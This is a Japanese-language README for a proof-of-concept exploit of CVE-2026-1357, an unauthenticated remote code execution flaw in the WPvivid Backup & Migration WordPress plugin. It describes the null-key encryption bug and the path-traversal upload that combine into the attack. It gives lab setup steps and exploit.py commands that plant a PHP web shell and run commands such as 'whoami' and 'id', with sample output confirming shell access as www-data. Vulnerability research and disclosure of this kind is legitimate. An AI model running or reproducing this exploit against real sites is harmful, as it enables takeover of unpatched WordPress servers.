
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 未認証RCEエクスプロイト
認証なし任意ファイルアップロード → リモートコード実行
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Critical) |
| プラグイン | WPvivid Backup & Migration |
| 影響を受けるバージョン | ≤ 0.9.123 |
| 修正バージョン | 0.9.124 |
| 発見者 | Lucas Montes (NiRoX) |
| PoC作成者 | halilkirazkaya |
WPvivid Backup & Migration プラグイン (≤ 0.9.123) には、認証されていない攻撃者が任意の PHP ファイルをサーバーにアップロードできる重大な脆弱性が含まれており、リモートコード実行 (RCE) につながります。
このエクスプロイトチェーンは2つのバグを組み合わせています:
プラグインは wpvivid_action=send_to_site フックを介してリモートバックアップ転送を処理します。セッションキーの復号化時に、不正な RSA キーに対して openssl_private_decrypt() が false を返します。プラグインはこの戻り値をチェックせず、false を phpseclib v1 の Crypt_Rijndael に渡し、これは CBC モードと null IV で 16 バイトの null キー (\x00 × 16) として扱います。
復号化された JSON ペイロード内の name パラメータはサニタイズされていません。攻撃者は ../ シーケンスを使用して、制限されたバックアップディレクトリの外部にある、公開アクセス可能な wp-content/uploads/ ディレクトリに PHP ファイルを書き込むことができます。
wpvivid_api_token がプラグイン設定で生成されており、期限切れでない必要があります。
WPvivid Backup & Migration v0.9.123 (脆弱なバージョン) をダウンロードして展開します:
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
これにより wpvivid-backuprestore/ ディレクトリが作成され、docker-compose.yml を介して Docker コンテナにマウントされます。
docker compose up -d
http://localhost を開き、WordPress のインストールを完了します。pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] ターゲット : http://localhost/
[*] モード : 確認
[*] アップロードパス : ../uploads/h8xq9b3v2z1c.txt
[+] 暗号化ペイロードを生成中 (AES-128-CBC, null キー + null IV)...
[+] ペイロードサイズ : 392 バイト (base64)
[+] wpvivid_action=send_to_site 経由でエクスプロイトを送信中...
[+] レスポンス : 200
[+] 本文 : {"result":"success","op":"finished"}
[+] 確認先: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] 脆弱性確認済み! ファイル内容が MD5 と一致しました。
[*] ターゲット : http://localhost/
[*] モード : シェル
[*] アップロードパス : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] 確認コマンド : id
[+] 暗号化ペイロードを生成中 (AES-128-CBC, null キー + null IV)...
[+] ペイロードサイズ : 392 バイト (base64)
[+] wpvivid_action=send_to_site 経由でエクスプロイトを送信中...
[+] レスポンス : 200
[+] 本文 : {"result":"success","op":"finished"}
[+] 確認先: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE 確認済み!
[✓] 出力:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
このツールは許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。